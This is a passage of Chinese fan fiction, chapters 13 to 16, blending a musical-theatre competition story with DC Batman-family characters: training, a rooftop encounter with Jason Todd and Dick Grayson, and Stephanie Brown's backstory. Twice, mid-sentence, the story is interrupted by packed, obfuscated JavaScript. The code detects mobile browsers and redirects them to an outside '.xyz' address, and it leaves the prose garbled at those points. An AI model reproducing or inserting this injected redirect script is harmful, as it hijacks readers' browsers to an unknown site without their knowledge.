“等集训结束,就到了重头戏的比赛当晚,结合你们集训时的平时分,还有上半场的表现,会在中场休息和颁发奖学金小奖后选出八强。 八强可以演出一首完整的曲子,在这之后就是比赛结果。” 日程表至此播放结束,电脑屏幕陷入一片漆黑。 利贝嘉眼神扫过两人,有点凝重地开口。 “我们了解的赛制就这么多了。更具体的内容,像是平时分和现场分怎么占比,对演员打分是看中唱功还是演技,评委对选曲有什么偏好,我们一概不知。 “所以,我们只能在每一个环节都做到最好! “集训的时候,你们要学的比谁都快,那里的老师都是常年和专业演员打交道,不能再把自己当成学生,觉得可以慢慢学了。 “这几天你们先和我练舞,要做到像摄像机那样,我做一遍动作,你们下一遍能立马复制,绝不拖泥带水,得做到这个程度才行! 被利贝嘉这么一说,另外两个年轻学生也跟着热血沸腾起来。 卡里亚:“明白!” 杰克:“yes,madam!” 利贝嘉看两个学生眼中燃气熊熊斗志,满意地拍拍他俩的肩。 “那就先从记住一百个常用的芭蕾组合开始吧!” 利贝嘉用最温柔的语气宣布了最魔鬼的任务。 而这还只是训练的开胃菜而已。 14. 特训 “行步,小踢腿,再踢腿,跳跃,点步后踢,脚尖点地.....” 利贝嘉带着两个学生,面朝镜子练习舞蹈组合。 她教的内容是和百老汇接轨的。利贝嘉大学刚毕业时去百老汇闯荡过一段时间,虽然最终因为家庭事务回到哥谭,但在那段时间里见识到的东西一直没忘。 一些长寿音乐剧,像是《芝加哥》《魔法坏女巫》之类的,不可避免地会遇到面临人员变动的情况,基本每半年就需要招新一次。 要编出能在最短时间内看出演员特质的舞蹈题目,自然不是简单的事。选角导演为了减轻工作量,大多会沿用过去面试里的舞蹈组合。 眼下这些动作,就是她当初在百老汇一家又一家跑面试时记下的。 利贝嘉倾囊相授,哪怕卡里亚和杰克这次未能如愿得奖,记住这些舞步对他们今后的职业生涯也是助力。 就是可怜了杰克·道奇,被这些变幻莫测的动作搞得头昏脑胀不说,再看旁边的卡里亚,基本是看一遍就能完美复刻,这份差距让精英男高中生差点心态崩掉。 事关比赛,他也不顾什么面子和自尊心,在中途休息时向卡里亚请教其中的关窍。 卡里亚也不知道该怎么答:上辈子她主要是混迹于综艺秀,这种演出可没有连贯的剧情,每个演员自备一个小节目,按照剧场经理的安排依次上场——放在现代,有点像livehouse和联欢晚会的模式。 有点咖位的综艺秀演员是要找作曲家一对一定制曲子的,但那个时候没有网络没有传真,一些音乐家又喜欢卡死线,卡里亚经常在演出前几天才收到曲谱,再急吼吼地找人根据歌曲排舞,因此早早练出速记的本事。 但这种话不好说出来,她只能举个别的例子: “我觉得最重要的是自信心,相信自己能记住——你想嘛,莫扎特也经常拖稿,《唐璜》的序曲是在演出当晚完成的,但那些歌手不照样完美地完成演出了吗?如果几百年前的人能做到,没道理我们不能!” 杰克语气幽怨:“你的意思是要把我当德国佬整?” 卡里亚;“?莫扎特不是奥地利的吗?” 杰克:“都是说德语的差不多啦!而且德奥不分家,不要纠结这种细节!” 他不甘心地追问几句,发现卡里亚是真没什么可以教他的,杰克深深叹了口气。 这种天才而不自知的人真是讨厌! 也没别的办法,杰克只好硬着头皮上,继续跟在白天鹅后面当丑小鸭,为了不让自己在镜子里看起来太可悲,他干脆压缩睡眠时间练习。 下了一段时间的苦功,杰克还真咂摸出点门道,肌肉记忆也练出来了,芭蕾的基本动作全都运用娴熟。 虽然和卡里亚比起来还只是刚及格的水平,但放在同龄人里绝对算优秀。 利贝嘉看到学生如此神速进步,欣慰地夸奖一番,然后在杰克的哀嚎声中微笑着开始了全新的爵士舞练习。 “如果你们是冲着冠军去的,那就不要满足于现状。”利贝嘉给了一人一只冰淇淋作为奖励,“就在今天,全国92个参赛者的名单已经全部出来了。你们俩运气不太好呢。” 今年的热门夺冠人选,都是难得一见的强敌。 拉蒂法·劳伦斯,密歇根州的萨顿·福斯特奖得主,17岁就有美国最高戏剧荣誉在身的高中生。 她10岁时出演了百老汇的《玛蒂尔达》,和另外三名演员共同饰演女主角,并一同获得了当年的托尼奖特别成就奖,在百老汇的观众缘一骑绝尘。 拉蒂法是黑人,有着很强的种族声音特点,声压、共鸣、音域等等方面的实力都强得离谱,又有着丰富的实战经验——如果抛开演技和舞蹈不谈,光是站桩唱歌,她绝对可以和卡里亚一拼高下。 罗兰德·亚当斯,加利福尼亚州的杰里·赫曼奖得主。 这个奖光看主办方就不一般——好莱坞百老汇之星,其背后的实际控制人正是吉米奖的举办者尼德兰组织。光是这点信息就足够让人遐想一些幕后交易了,尤其罗兰德的父母据传是好莱坞颇有实力的制片人兼投资商。 不过,后面公布的一段演出视频让所有人闭了嘴。 罗兰德的得奖剧目是《耶/稣/基/督万世巨星》,在无数男歌手翻车的那首《客西马尼》中,他贡献了10秒堪称完美的G5超高音。 这段视频甚至被《汉密尔顿》的主创,《客西马尼》(Gethemane)的翻车代表人林·曼努尔·米兰达转发了,着实火了一把。 音乐剧爱好者都看得笑嘻嘻,但杰克嘻嘻不出来。 卡里亚和杰克一起看了罗兰德的演出视频,唱到“看着我死去吧(seehowIdie)”时,伴随着画面里带着圣洁美感的少年长音,卡里亚感觉到旁边杰克的精神值在疯狂往下掉。 在杰克绝望地拿头撞墙前,她赶紧按了暂停键:“视频里唱得好又算什么,我们比赛是看的现场表现,又不是看的演出录像!” 看着杰克脸色稍微缓和一点,她又趁热打铁道:“而且你想啊,演出的时候又不是光比谁会飙高音,现场的气氛,还有选择的曲目,这些也很重要!重点不是网友喜欢看什么,而是评委们想看什么!” 根据观众的偏好调整表演,是卡里亚上辈子学到的重要一课。 上辈子,她的主打曲目叫《playboy》(花花公子),要扮演一个追求平民女孩不得、最后还被捉弄一番的傲慢公子。 她会提前咨询剧场经理。如果那天的观众以男性居多,她会加入一些滑稽的动作,让花花公子看起来丑陋可笑,让这些中下阶级的男士们获得满足感; 而如果是日场,来看戏的是附近工厂的女孩们,那么她就会让自己看起来像个笨蛋美男,被捉弄了也能激发女性们的怜爱心。 一首歌的实际效果如何,不能光看歌手的技巧,对于场合和观众的观察也是成败关键。 所以,为了增加胜率,卡里亚和杰克在接下来的基础训练时思忖,该为可能入选的八强比赛选择哪首曲子。 跳舞占比太多的不能要。 八强比赛时,他们基本是站桩唱歌,音乐剧演员的三大技能,唱功、舞蹈、演技,只能发挥其中两项,而跳舞占比多的曲子,一般不会把声乐难度拉的太高,因此舞曲是首先pass的。 太大众的不能要。 这就好比去参加国际电影节,旁边人问最喜欢哪部电影,回答说《阿凡达》——不是不可以,但在这种全是内行人的场合,很容易被先入为主地打上“跟风随大流”的标签。 英国的也最好不要。 虽然提到百老汇时,人们都会想到《猫》《歌剧魅影》《悲惨世界》这些名剧,但严格意义上这些都是英国人——麦金托什,韦伯,勋伯格——从伦敦西区带来的舶来品,在80年代百老汇青黄不接的时候乘虚而入。 一些美国百老汇人,哪怕他们祖上都是外国人,对这种英国音乐剧是抱有相当大的排外心理的。 放在尼德兰组织,这种情况就更特殊了,因为引进这些英国音乐剧的制作方是尼德兰的最大对家,舒伯特组织。 虽然年轻一代对这种“纯血主义”不太感冒,但为了避免让来观赛的尼德兰先生回想起几十年前的腥风血雨,为了拿下那座闪闪发光的奖杯,还是尽可能地避开雷区比较好。 这样一看,虽然吉米奖官方授权的音乐剧有十几张纸的量,但真正适合的寥寥无几。 最“安全”的,应该是罗杰斯&汉默斯坦二世,这对祖师爷组合的曲子了。 《音乐之声》太烂大街,但二老的作品还有其他几十部,并且作品大多创作于音乐剧发展初期,留有轻歌剧的痕迹,舞蹈少声乐多,正适合吉米奖这种场合。 利贝嘉给卡里亚推荐的是《俄克拉荷马》中的女声独唱《我无法说不》(Ican''tsayno),其中的情绪递进层次丰富,还要使用多种不同的声乐技巧,炫技和基本功平衡得刚刚好。 卡里亚答应先练习着,但心里仍有点犹疑。 最安全的,就一定是最好的吗? 《俄克拉荷马》是很好,田园风光的喜剧,简直是长在她的舒适区内......但就是因为太舒适了,反而有点没意思。 就像学校食堂卖的素食无麸质有机三明治一样,在各个方面都很安全,但吃到嘴里时是那么的寡淡无味。 她这边还犹豫不决,倒是杰克早早定下了。 得益于《俄克拉荷马》的启发,他也选择了一部名字来源于美国州的音乐剧,《泽西男孩》。 “我可是吉米奖历史上第一个真·泽西男孩,当然要唱我们新泽西州人的曲子了!”杰克大咧咧地说,“反正我也赢面不大,不如挑我喜欢的曲子唱,说不定在情感方面还能加点分嘞!” 这下轮到卡里亚羡慕杰克了。 有时候,没有太多选择也是一种幸福。 《我无法说不》练习出雏形时,她按照利贝嘉说的,试着表演给身边的人看,是骡子是马拉出来遛遛。 恰逢周末,斯蒂芬妮叫上卡里亚,还有之前见过的提姆、杜克,一起到卡拉OK去,给她来点建议。 没想到达米安这次也在:“我和父亲一起去听过不少歌剧,乐理的知识也早就精通了,这种时候当然需要我。” 斯蒂芬妮:“难道不是因为我们都不在家,你一个人待着寂寞了?” 达米安:“布朗,现在是白天,说梦话留到晚上去。” 此时卡里亚已经预备完毕,进入角色:“别吵吵啊你俩,大家伙儿都和和气气哒来!” 达米安别过头去,斯蒂芬妮吐了吐舌头,拿起铃鼓,开始准备给卡里亚打拍子。 卡里亚也拿起麦克风:“《俄克拉荷马》啊,是老早老早的个音乐剧咧。听我这口音就晓得啦,这是讲西部农村的事儿。然后啊,这首曲子呢,是说有个闺女,被两个爷们儿搁那三角恋里整得可犯愁咧,就跟她好姐妹唠:‘我没法对那些殷勤的小伙子说个不’啊!” 在其他几人因为这大土碴子的口音笑出声时,卡里亚趁着现在的氛围打开伴奏,“这闺女说,虽说我也晓得这不中,可我不想让那些想亲吻俺的小伙子伤心哩!” 话音落下时,伴奏音里响起轻快短促的小提琴音,卡利亚踩着点开嗓: “我是个不会说‘不’的姑娘 I''mjustagirlwhocain''tsayno 我现在可真是麻烦大了! I''minaterriblefix!” 《俄克拉荷马》大部分是胸声发音,卡利亚加入了适度混声,让声音听起来欢乐且充满穿透力。 就像是拉开窗帘时,太阳光洒满房间的那一刻,感觉屋里一下子就亮堂起来! 配合着她大刺刺的跨步,现在她看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092162|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就是个活生生的农村大丫头,和之前优雅骄矜的红希德判若两人。 “每次我都忍不住说:''好啊,那我们走吧''” Ialwayssay'eon,let''sgo'' “忘了现在是应该拒绝的时候” “JustwhenIoughtasay''nix''” 意识到自己做错事情后,她又一下子蔫了,拧着手指,眼眉低垂,一脸心虚的样子,演技和歌词配合得完美无瑕。 加入蝙蝠家不久的杜克,现在还在学习如何变装潜入,看到有这么一个例子在他跟前,忍不住在心里分析一番。 扮演农村人,对他们这种在工业城市里长大的人来说是相当有难度的,可用的无非就是一些刻板印象:说话口音,动作夸张,笑起来嘎嘎乐...... 但这种刻板印象的集合,一看就知道是“城里人演的农村人”,被看穿不说,搞不好还容易被骂。 卡里亚的表演里其实也有这些刻板印象,但她演的乡村女孩儿就是令人信服。 首先是她走路的姿势,不是那种学鸭子似的夸张步伐,是真真正正带有20世纪初期乡间生活痕迹的。 胯部微微外翻,这是骑马留下的习惯;走路时习惯性地先抬脚尖,并且比一般人抬起的高度还要夸张,因为干农活时经常需要穿不合脚的鞋子..... 她脚上穿的是运动鞋,但光是这么走上两步,就能让人看到一双沾着泥土草鞋、有点开裂的橡胶靴子。 “我是个不会说‘不’的姑娘, I''mjustagirlwhocain''tsayno 好像从来不会拒绝别人。 Cain''tseemtosayitatall 我可不想让追求我的人失望, Ihatetodisserpointabeau 当他来邀请我的时候! Whenheispayin''acall!” 还有卡里亚的声音,改变声带发声部分后,她的声音听起来有点沙哑,不似先前那般悦耳动听——但就是这个“不好听”,让她的人物更加真实了! 在田地里长年累月地大声喊话,声音可不就是会变成这样吗! 想到这里,杜克由衷地佩服起卡里亚来。 这种发声方式是违背身体自然机能的,而她竟然在保持角色声音设计(charactervoice)的同时,一丝不乱地唱出这些多变急促的音符。 这岂止是一心二用啊,这是直接分裂出了两个心脏两个大脑吧? .......要不他也去试着上上音乐剧表演课好了? 等卡里亚唱完最后一句“我无法说不”,成功偷师的杜克率先鼓掌欢呼,声音大得让达米安扶额,假装自己不认识这么丢脸的人。 提姆摸摸下巴:“以我作为行外人的角度来看,我觉得刚才演得很好.....你是觉得哪里有问题呢?” “唔......怎么说呢,”卡里亚试着组织语言,“有一种待在舒适圈内,没有进步的感觉?” 卡里亚刚出道那会儿,主要还是在农村小镇的破旧剧场演出,观众也大多是乡村居民。 虽然后来她的拿手好戏是扮演花花公子,但她最先学会模仿的是牛仔和乡下人。 她上辈子12岁学会演乡村农人,这辈子照猫画虎继续演,那她中间这几十年不就约等于毫无长进么? 她真的要靠小时候学会的东西,去夺得自己的第一座奖杯吗? 斯蒂芬妮看出好友心事难以言说,安慰道:“没事,离吉米奖还有好久呢,你先就这么练着,起码有个保底,换曲子的事情慢慢想!” 另外几人也纷纷赞同:“就是说嘛,你的路还长着呢,先不急着想那么复杂的问题,把奖拿了再说!” 卡里亚心里仍是有点不痛快,但其他几人说的确实在理,眼下只能妥协。 晚上到家时,她下定决心,再试着最后一次找新曲子,要是今晚再找不到想要的,她就彻底歇了心思,专心练现在的节目。 斯蒂芬妮说晚上要去别的朋友家里,没和她一起回来。克莉斯特尔刚熬了几个夜班,这个点还在睡觉,卡里亚不忍心打扰她,带着耳机走到公寓楼的天台上,试着在夜风中放空大脑,寻找灵感。 夜风......《冥界》的《anywaythewindblows》? 不行,技术太简单了。 星空......《悲惨世界》里的沙威? 不不不那是给男低音唱的吧! 楼下传来的轻微响动......《耶/稣/基/督万世巨星》的《what''sthebuzz》? 呃,群唱还是免了。 栏杆上出现的手.....《汉密尔顿》的《righthandman》? 拿rap去比赛肯定不行吧喂! 白毛挑染的黑发男......《理发师陶德》? “对哦,陶德!” 卡里亚灵光乍现,指着正在翻越天台围栏的白毛挑染男子,大呵一声! 挑染男一脸懵:“啥?” 卡里亚:“——啊!” 在卡里亚反应过来前,另一个黑头发、长相俊俏的脑袋也从栏杆下方冒了出来:“杰森,你朋友啊?” 另外两人:“......” 15. 屋顶上的特技选手 杰森很烦躁。 今天早上出门,他遇到一个吉普赛人说他印堂发黑,有血光之灾,今天最好闭门不出,不要去五层楼以上的地方。 死而复生过一次的杰森从来都是科学至上,压根儿没信这种鬼话。 但现在他不得不信了。 他只是来中转站拿一下战斗服,怎么就痛失真名了??? 竟然成为蝙蝠家最速掉马传说,他已经能想象到恶魔崽子那这件事嘲笑自己的嚣张嘴脸了! 想到这里,杰森更生气了,抬脚就给旁边的蓝色大笨鸟踹过去。 “迪克头,你丫的就不能少说点话啊!” 迪克很不服气,闪身躲过:“那难道要我说''哇塞红头罩这是你熟人吗''?而且你比我先上去的,没注意到有人在,你也有错好吧!” 杰森一时语塞。 确实,按照常识来说,他作为先上去的人,应该用红外扫描仪勘察周围情况,确认无人再上去。 “但是斯蒂芬家的公寓天台平时除了鸟就没别的碳基生物,谁会想到突然来了个大活人在上面!一时大意也很正常的吧!” 杰森转头,朝着躲在墙角的卡里亚喊话:“而且都六月份了,大热天的留在家里吹空调不好吗,你干嘛没事跑室外来!” 卡里亚颤颤巍巍地回话:“因为我有事情要做,不能打扰别人,去别的房间开空调又会很费电......” 杰森的火蹭一下上来了:“有什么事情不能留到明天再说,要是热出病来不就是本末倒置了!你给我多注意点身体啊!” 迪克:“?不是你怎么还关心上了?你知道我们俩现在是个什么情况吗?” 迪克摊开手,指指他俩身后的天台栏杆,又指指角落里拿着蝙蝠牌防身□□、瑟瑟发抖的女孩:“咱俩现在就是非法入侵的可疑人士,ok? 杰森不耐烦地“啧”了一声:“我知道,我也在想办法呢。” 如果今天看到他俩的是无关人士,他可以随便丢个烟雾弹,撒腿就跑,事后再找扎塔娜借点能消除短期记忆的妙妙小工具就成。 但偏偏目击者是斯蒂芬家的房客,这可没法随便糊弄。 迪克扶额:“再这样下去咱俩大概要被GCPD逮捕了.....搞不好我会被布鲁德海文警局开除的吧.....” 杰森:“。” 杰森:“对哦,你是警察来着。” 迪克:“......喂!你在想什么!” 杰森:“我可什么都没说。” 迪克:“我还不知道你在想什么?!不行!” 杰森:“你说不行也没用。” 前·犯罪巷资深业务员露出邪恶的笑容,手里不知何时多了本警官证,“因为我已经偷到手了。” 在迪克扑上来的前一秒,他把阿美利卡警察的命根子往空中一抛,扔给卡里亚:“小姑娘,我们不是坏人,你看这边这个人是警察!” 在格雷森警官的无声尖叫中,卡里亚一巴掌把那本事关职业生涯的证件狠狠拍回去:“你骗人!哪家警察会半夜扒公寓的天台!” 杰森仍试图让卡里亚好好看看:“真的,不信你——” “够了你们两个,不要把别人的证件当飞盘扔啊!” 迪克飞身上前,在半空中拦截住警官证,落地时还来了个利落的前滚翻,矫健的身姿让蝙蝠狗看了都自愧不如。 卡里亚:“哇哦,空中飞人耶。” 杰森也来了灵感,清清嗓子,趁机现编道:“其实是这样的,我们俩是特技爱好者,他是警察,我是做餐饮行业的,我们俩白天都忙,只有晚上才能培养培养兴趣爱好。不信的话,我俩现在可以给你表演几个动作,你要是不信的话,再报警也不迟。” 卡里亚仍有点怀疑:“真的?你俩不会是想偷袭我吧?” 迪克收好警官证,也发挥演技,跟着杰森瞎编:“真的真的,要是不放心的话你可以指定动作,在你点头之前我们绝对不会靠近半步!” 迪克很有自信。 外行人不懂其中的门道,无非就是来个后空翻啊侧手翻啊之类的,他作为“飞翔的格雷森”,什么是他做不到的? 卡里亚想了想,伸出手指比划道:“那你们可以一个人弯腰四十五度,另一个人跳到他的背上,然后再前滚翻下去吗?” 迪克:“?excuseme?谁家好人会做这种特技?” 卡里亚:“但是《雨中曲》的音乐剧演员就能做到啊,还能两个人保持着这个姿势拉同一把小提琴呢。你们不会吗?” 杰森一口答应道:“会,当然会了!不就是让我跳到他背上嘛,这点事情对我们来说简简单单,对吧bro!” 迪克瞪大眼睛:“你认真的?让你这个200磅的?跳到我背上?你是想学贝恩吗??” 杰森拍拍他的肩:“我听不懂你的话,但音乐剧演员都能做到,我们哥俩身为特技爱好者肯定能做到的。快点弯腰吧!” 迪克:“.....你是在报复我暴露你的真名吗,杰森?” 杰森:“当然没有啦,我一向宽容待人的,迪克。” 卡里亚因为隔得远,听不清两人在小声吵些什么,但能感觉到气氛险恶。 再看看那两个人的块头,或许这种表演对他们来说确实不太合适。 卡里亚想了想,又补充道:“或者你们可以像《报童》那样,一个人起跑,另一个人抓住他的腰,把他像方向盘那样''刷''地翻滚一圈吗?” 这次轮到迪克抢答了:“可以,绝对可以!跑起来吧,杰森,我会好好抓住你的!” 杰森后退一步:“我不要,你绝对会中途撒手的。” 迪克上前,用力按住他的肩:“我怎么会做这种像是报复一样的事情呢?再说了,就算真的撒手了也不过是让你摔一下,哪有你想让我脊柱骨折来得狠呀,你说是不是啊哈哈哈哈哈!” 杰森不甘示弱,伸手拧住迪克的手肘。两人都咬牙切齿地笑着,手上的劲儿渐渐加重,胳膊上的肌肉蓬勃鼓起,带了些许认真角力的意味。 卡里亚:“咦,改成相扑了吗?” 斯蒂芬妮:“......你们俩在干什么啊,都给我停下来!” 在场心理年龄最成熟的靠谱女高中生蹲下身,抄起地砖缝隙里的碎石,准确无误地砸到两个幼稚成年人的头上。 **** “原来是斯蒂芬的朋友啊,早说嘛哈哈哈,我还以为是黑门监狱又有人越狱了呢!” 天台上,四个人呈四角形盘腿坐在地上,人手一罐冰可乐,徐徐夜风吹在脸上,这样闲散的时光让卡里亚倍感惬意。 ——虽然在她看不见的地方,杰森和迪克仍然把手放在背后互掐,但只要别让卡里亚看见,作为东道主的斯蒂芬也懒得管了。 “不过真的好巧哦,你叫陶德,发型又和理发师陶德一模一样,中间有什么关系吗?”卡里亚一脸期待地看向杰森。 “不,纯粹是巧合。”杰森无情道,“而且我不太喜欢《理发师陶德》,当时就忍了前面几首歌,太难听了。” 迪克和斯蒂芬:“喂!” 卡里亚作为音乐剧迷倒没感到冒犯:“正常的,桑德海姆的歌不太朗朗上口,确实不是大众意义上的好听,这么评价倒也正常。 杰森深以为然:“对吧,每一个音符感觉都不在正常的调上,感觉写出来就是折磨演员的。” 迪克和斯蒂芬妮:“喂!” 卡里亚作为音乐剧爱好者倒没感到冒犯:“唉,音乐喜好这种事强求不来的,而且你说的确实有道理,桑德海姆的曲子是出了名的难。” 缺少旋律性,歌词充满了大量的格律,折磨人的八分音符和十二拍小节,唱两句就能让歌手闪着舌头。 但也正是因为这份难度,使得桑德海姆的音乐剧成为演员的试金石。 只要能演好桑德海姆音乐剧,哪怕不拿托尼奖,在百老汇的实力也无人质疑! “——所以,我打算用《理发师陶德》去参赛!” 卡里亚兴致勃勃地拿出手机,打开音乐软件,“我可以把其中一首二重唱改成独唱,这样子就有底气和拉蒂法·劳伦斯斗一斗了!” 拉蒂法和她的声乐技巧不相上下,那么就只能拼其他因素。 对面的杀招是路人缘,那么她就用学院派来应战! 斯蒂芬妮为好友感到高兴:“太好了,等你练好了一定要让我再听一次!” 当然,她也没忘了来天台的目的,“既然已经选好了,时间也不早了,快点回去休息吧,明天你可是要从头开始练习呢。” 卡里亚点点头,站起身,但看斯蒂芬没有和她一起的意思,有些奇怪:“斯蒂芬,你不回去吗?” 斯蒂芬打哈哈道:“这个嘛,我还有点事情要和他们商量。” 另外两人略微无语。这借口听起来太可疑了点吧! 卡里亚震惊:“什么,斯蒂芬你想做特技演员吗!” 果然起疑了啊,杰森心想道。 卡里亚大喊:“你要做演员就来做音乐剧演员好了,做特技演员又累又没前途,只会埋没你的才华!” 飞翔的格雷森不高兴了:“喂!特技哪里不好了!去马戏团也很好啊!” 这下卡里亚可要较真了。 她伸出双手,放在斯蒂芬妮的脑袋上:“你们看,这闪闪发光的金发,这蓝宝石一样的眼睛,完美的五官比例,还有这身结实的肌肉,这天生就是要来演音乐剧称霸舞台的啊!你们忍心让这样的天赋埋没吗!” 看斯蒂芬妮脸色逐渐透红,两个大人决定暂时先不计较这件事,憋着笑道:“是的,你说的太有道理了,是我们肤浅了。” 斯蒂芬妮瞪了两人一眼,随后和颜悦色地拍拍卡里亚的手:“放心啦,是我爸的事,迪克他不是警察嘛。” 提到斯蒂芬妮那个还不如死了的生物学父亲,卡里亚意识到自己在场不合适,顺从道:“好,那你也早点回来休息。” 确认卡里亚的脚步声消失在楼梯间,斯蒂芬确认布朗家的门禁已经安全落锁,迪克笑嘻嘻道:“你这朋友可真有意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100924|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有点脱线,当我们这一家子的朋友可太合适了。” 杰森也难得一见地八卦:“你俩怎么认识的,说来听听?” 斯蒂芬白了一眼:“要你们俩管,有这个闲心不如想着怎么多交点普通人朋友吧,两个工作狂义警!” 她和卡里亚交好的经过,说起来有点肉麻,现在回想起来还有点不好意思,自然是不会对两个不怀好意想调侃她的人说出口。 但在当晚执行任务时,斯蒂芬妮坐在蝙蝠电脑前,仍不可避免地陷入回忆中。 那是她刚上高中的事情了。 斯蒂芬妮当时的生活可以说糟糕透顶。 她的父亲,线索大师亚瑟·布朗,再一次从黑门监狱越狱,并且在家里留下一张字条,打破了她和母亲来之不易的平静日子。 蝙蝠家里突然多了个看谁都不顺眼的达米安,和提姆打了一架,连带着其他人也苦不堪言。 克莉斯特尔在的诊所要裁员,本就心力交瘁,看着女儿整日夜不归宿,她愁得直接患上了神经衰弱,而斯蒂芬妮也是有苦说不出..... 在她焦头烂额的时候,学校那边又来了雪上加霜的消息。 斯蒂芬妮·布朗因为多次请假,很可能因为出席率不足面临留级。 学校给出的办法是让斯蒂芬妮多参加的社团活动,把操行评分提上来,出席率的事可以睁只眼闭只眼。 但美国的社团活动是要求全身心的大量时间投入,哪家社团愿意收留一个时不时就要缺席的幽灵成员呢? ——出乎斯蒂芬妮的意料,奇迹竟然是一个陌生人带来的。 音乐剧社团的卡里亚·穆瑟尔,在课间休息时走到孤身一人的斯蒂芬妮身边,问她愿不愿意试试音乐剧。 “音乐剧很好玩的,哪怕是后台也很有意思!”卡里亚露出友善的微笑,“我听说你家里最近有点事,那么你可以加入道具组,我们这里是计工不计时,只要在演出前完成任务就能给你加分,平时少来几次也可以!” 斯蒂芬妮想都没想就同意了:她都自制夜巡装备了,区区几个道具还不是手到擒来? 高中音乐剧演出都是自带图纸的,斯蒂芬妮的活做得又快又好,每天一到社团就是埋头干活,其他社交活动一概不参加,毕竟她只是为了加分而来。 甚至有人主动邀请她去野餐会,斯蒂芬妮也毫不犹豫地推掉了。 她的父亲,亚瑟·布朗,似乎有把手伸到高中里的迹象,而她还毫无头绪,现在不是享受高中生活的时候。 为了安全起见,她在学校的四处都安装了窃听器和摄像头,在蝙蝠电脑前全方面监控,试图寻找父亲的行踪。 而这种监控,势必会让她知道一些本不该知道的事情。 社团的活动室里,卡里亚·穆瑟尔在和其他几个道具组的人调试设备。 两人都是金发蓝眼的漂亮女孩,但待遇截然不同——穆瑟尔是接近职业级别的演员,不仅自己演得好,还会叫别人演,不上台的时候也乐意到后台搭把手,在男男女女里都吃得开。 “你们有没有觉得,那个布朗实在有点怪了,感觉她一点都不合群。” “是啊,一点都不懂得聊天,每次都是赶紧做完赶紧回家,搞得像我们有人欺负她,赶她走似的!” “她在的时候我们都没法正常聊天!” “听说她家里不太正常,父亲好像是罪犯——天呐,该不会她其实是个混混吧!” “有道理,人家早就混社会去了,哪里看得上我们这种普通学生啊!” 斯蒂芬妮咬紧嘴唇。 没事的,没事的。 她问心无愧,她做的事情都是为了这些市民,站在他们的角度上,自己遭到误解也是不可避免的。 虽然她的功绩不会被外人知晓,但她并不是为了得到这些人的认可才来当义警的。 “没关系的。”斯蒂芬妮用力闭上眼睛,将酸涩抑制住,“不过是高中而已,我的人生还很长,不用在意这些过客。” “对吧,卡里亚?你也觉得那个斯蒂芬妮·布朗不适合这里吧?” 道具组的人看见卡里亚走近,自然地把话题引向她。 卡里亚并不知道他们先前的话题,但还是接过话道:“是呀,我认为她在道具组真是不合适。” 不等道具组的人说坏话,她自顾自道:“你们想啊,她有那样闪闪发光的金发,蓝宝石一样的眼睛,完美的五官比例,最重要的是一身结实的肌肉,天生就是要来演音乐剧称霸舞台的啊!这样的天赋埋没在道具组真是太可惜了!啊,没有说道具组不好的意思啦,但我觉得她走到台前比较合适。” 道具组的人对视一眼,摇摇头,知道卡里亚这是又犯了音乐剧痴的毛病。 但话都说到这里,他们也不好继续嚼舌根,随便换了个话题,就当这件事过去了。 只有斯蒂芬妮,隔着屏幕,依然沉浸在刚才的那段话里。 提姆路过蝙蝠电脑,看到斯蒂芬妮的表情,十分惊诧。 “斯蒂芬,你怎么又哭又笑的啊?” 16. 启程 in new 卡里亚选中的曲子,是《理发师陶德》女二号乔安娜和另一男角色的二重唱,《亲吻我》(kissme)。 乔安娜是男主角陶德的女儿,本剧的大反派特平法官弄残了她的母亲,又流放了她的父亲,还在襁褓中的乔安娜落入了法官的魔爪,被当做法官的金丝雀和未来妻子养大,关在房子里不许见人,过着压抑的生活。 事情随着陶德的秘密回国出现转机。 陶德在回国的船上认识了一位青年水手,而这位青年水手在路过法官家时爱上了窗边美丽纯洁的乔安娜。他打算带着乔安娜私奔,这一计划得到了陶德的鼓励,在法官外出时顺利潜入宅邸。 青年水手劝说乔安娜和他一起离开,两人一同唱起《亲吻我》。 而在重新编曲后,这首歌变成了乔安娜带点癫狂意味的独唱。 练习室里,卡里亚面对利贝嘉和杰克,开始展示自己这几天练习的结果。 她将右手按在心口上,深吸一口气,闭上眼片刻,与剧情里的乔安娜对齐情绪。 就在刚才,她的养父露出了真面目,说要在下周迎娶她为妻子,而她这辈子都要活在那个老迈变态的控制下! 眼睛再睁开时,卡里亚的神情已经完全变了。 她眉眼间带着不安,声音里浸染了明显的颤意。 “他打算星期一娶我, HemeanstomarrymeMonday 我该怎么办?我还不如去死。 WhatshallIdo?I''dratherdie 我可以在星期天服毒自杀, I''llswallowpoisononSunday 就这么办好了,我可以弄点烧碱! That''swhatI''lldo,I''llgetsomelye!” 卡里亚选用的是混声(mix)唱法,这种唱法在迪O尼公主的曲子里用的最多,能让听众第一时间体会到少女嗓音的甜美、纯洁,充满感染力。 这种唱法用在乔安娜身上也是合适的。从小被囚禁在房子里,被监护人洗脑控制,这种设定很容易让人联想到长发公主。 可惜的是,这不是童话故事,她的监护人不是留有底线的女巫,而是会一边起邪念一边鞭打自己的衣冠禽兽。 桑德海姆黑暗、压抑的歌词,经由本该是童话公主的声线唱出,让整首曲子充满了荒诞悲剧的味道。 “我好像听见了动静, IthinkIheardanoise, 我好像听到“咔嗒”一声! IthinkIheardaclick! 是有人开门! It''sthegate! 不对,那里没有门, Wedon''thaveagate, 可刚才明明有——等等! 